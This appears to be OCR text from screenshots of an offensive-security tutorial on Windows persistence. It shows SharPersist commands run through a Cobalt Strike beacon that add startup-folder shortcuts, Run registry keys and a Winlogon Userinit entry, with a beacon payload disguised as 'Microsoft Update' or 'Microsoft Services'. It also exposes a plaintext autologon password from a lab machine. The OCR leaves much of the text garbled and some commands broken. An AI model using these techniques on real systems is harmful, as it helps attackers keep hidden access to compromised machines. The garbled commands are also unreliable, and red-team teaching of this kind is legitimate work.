Startup [I]]

[C Mg erBMITTI\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startu@ [[TTT1T

| [ = | Startup

Home Share WView

= v A <« Users » serveradm » AppData » Roaming » Microsoft » Windows » Start Menu » Programs » Startup

.

Marme Date modified Type Size

# Quick access
calc

I Desktop
; Downloads

Documents

=/ Pictures

=]

/1

L

/20181212 AM  Application 27 KB

% % NN

[ This PC

|_j Metwork

[CAPHAgrimDE 3 TMididsoft\Windows\Start Menu\Programs\StartUp [T1T]



https://raven-medicine.com/uploads/images/gallery/2023-03/J7gTtFW2U2FpxjB0-image.png

% = | Startup

“ Haome Share Wiew

&« v 4 » ThisPC » Local Disk (C:) » ProgramData » Microsoft + Windows » Start Menu » Programs » Startup v &

~
MName Date modified Type Size
#r Quick access

[ Desktop
4 Downloads

calc 9/15/2018 1212 AM  Application 27T KB

=| Documents

= Pictures
[ This PC

¥ Metwork

(IITTITSharsbearPeErEiBt.exe -t startupfolder -¢ "C:\Windows\System32\calc.exe" -f
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beacon= execute-assembly sharpersist.exe -t startupfolder -c " indows\Syste BXE 'Startup" -m add

[*] Tasked beacon to run .NET program: sharpersist.exe -t startupfolder -c "C:\Windows\Syste \calc.exe" -f "StartUp" -m add
[+] host called home, sent: 342199 bytes

[+] received output

[*] INFO: Adding startup folder per
[*] nmand : \Windows\System3
[*] mand Args:

[*] File Name: StartUp

[+] S Startup folder persistence created
[*] INFO: LNK File located at: C:) \ eradm\AppData\Roaming\Microsoft\Windows & ograms‘\Startup\Startup.lnk
[*] INFO: SHA256 Hash of LNK fil ! 35586FECDSEFF 441 41AD35DFB42



https://raven-medicine.com/uploads/images/gallery/2023-03/rDwdRWVQ32BrMjUt-image.png
https://raven-medicine.com/uploads/images/gallery/2023-03/XYNmJsVgEdKIGwJB-image.png

| = | Manage Manage

Home Share View Shortcut Tools Application Tools
<« - 4 <« lsers » serveradm » AppData » Roaming » Microsoft * Windows » StartMenu » Programs » Startup v @ Search Startup
~
MName Date modified Type Size
7 Quick access . .
4= StartUp Properties > Application 27KE
[ Desktop »*
‘Downloads * General Shorttcut  Securty Details  Previous Versions Jiarie _—
Documents g ,@ StartUp
[&] Pictures 4 L
[ This PC Target type: Application
Target location: System32
|_ﬂ' Metwork
Target:
Start in: | |

Shorteut key: | MNaone |

Run: Minimized V
Comment: | |
Open File Location Change lcon... Advanced...

K Canral Annhs

SharPersist [TTTTTTTTITIIITIITIITIIIIIITT

Run[JRunOnce

[IITIITIITTTRuUnfRunONnce(IT]

[IT10

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce


https://raven-medicine.com/uploads/images/gallery/2023-03/BU5XPJE4q7ll3fIT-image.png

B Registry Editor - m} X
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

":l Computer || Name Type Data
. :E:‘E t’:{SRSEEf\IS'}RSS;{ ab| (Default) REG_SZ (value not set)
¥ : - - El’m REG_SZ Chwindows\system32\calc.exe

Console
Control Panel
Envirenment
EUDC
Keyboard Layout
Printers

v Software

. Classes
Google

v | | Microsoft

> || ADs
Advanced INF Setup
Cryptography
CTF
IdentityCRL
System Certificates

- Windows

v CurrentVersion

> || oPx
Explorer
InstallService
Internet Settings
PushNotifications
Run
Search
Shell Extensions
Telephony
ThemeManager
Themes
Uninstall
WinTrust

DWM
Windows Defender

(IIITTTIShar&hairPersistiéxe -t reg -c "C:\Windows\Tasks\Beacon.exe" -a "/q /n" -k
"hkcurun" -v "Microsoft Services" -m add

beacon> execute- \Windows\s alc.exe" -k "hkcurun" -v "Microsoft Update" -m add
Tasked beacon to run .NET program: sharpersist.exe e C:\Windows\System32\calc.exe" -k "hkcurun" -v "Microsoft Update" -m add
host called home, sent
received output

INFO: Adding registry per
[*1 INFO: Command: indow: i te wcalc.exe
[*] INFO: Command Args:
[*] INFO: Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersionyRun
[*] INFO: Registry Value: Mic oft Update
[*]1 INFO: Option:
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ab| AutoAdminLogon REG_SZ 1

%‘_’JAutoLogunSID REG_SZ 5-1-5-21-2387957962-993181570-3566323574- 1604
J'g'é]AutoRestartSheH REG_DWORD 0x00000001 (1)

ab| Background REG_SZ 000

ab| CachedlLogonsC... REG_SZ 0

f_ﬂDebugSeNerCo.‘. REG_SZ no

ab| DefaultDomain... REG_SZ white-bird

SﬂDe‘Fau\tPa;;word REG_SZ Summer2024!

ab| DefaultUserMar BEG & d

Iﬁo’]DisableBackButt Edit String o
7| DisableCAD

5| EnableSIHostint| YauS name:
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3| LastLogOffENdT] Vaue data

28] LastUsedUserma [CoWindows system 32 userinil exe C \windows system32\calc exe| |
:!'J LegalMoticeCap|

ab]| LegalNoticeText Cancel
J';'é]Pas;wordExp\ry‘ OO DO Favil

ab| PowerdownAfte... REG_SZ 0

3_‘}] PreCreateknow... REG_SZ {A32041A4-1780-4FF6-BD18-167343C5AF 16}
ab|ReportBootOk  REG_SZ 1

QEJ scremoveoption  REG_SZ 0

3,"] Shell REG_SZ explorer.exe

7| ShellCritical REG_DWORD (00000000 (0)

Sﬂshel\lnfrastructure REG_SZ sihost.exe

i';'_-ﬂf-hutdownF\ag; REG_DWORD 0xB0000027 (2147483687)

fﬂ SiHostCritical REG_DWORD (0x00000000 (0)

%) SiHostReadyTim... REG_DWORD 00000000 (0)

J.glg;] SiHostRestartCo... REG_DWORD (0x00000000 (0)

%] SiHostRestartTi.. REG_DWORD 00000000 (0)

Userinit REG_SZ CAWindows\system32\userinit.exe,
%‘_’JVMAppIEt REG_SZ SystemPropertiesPerformance.exe /pagefile
;‘_!‘\]WmStatlonlesa‘.. REG_SZ 0
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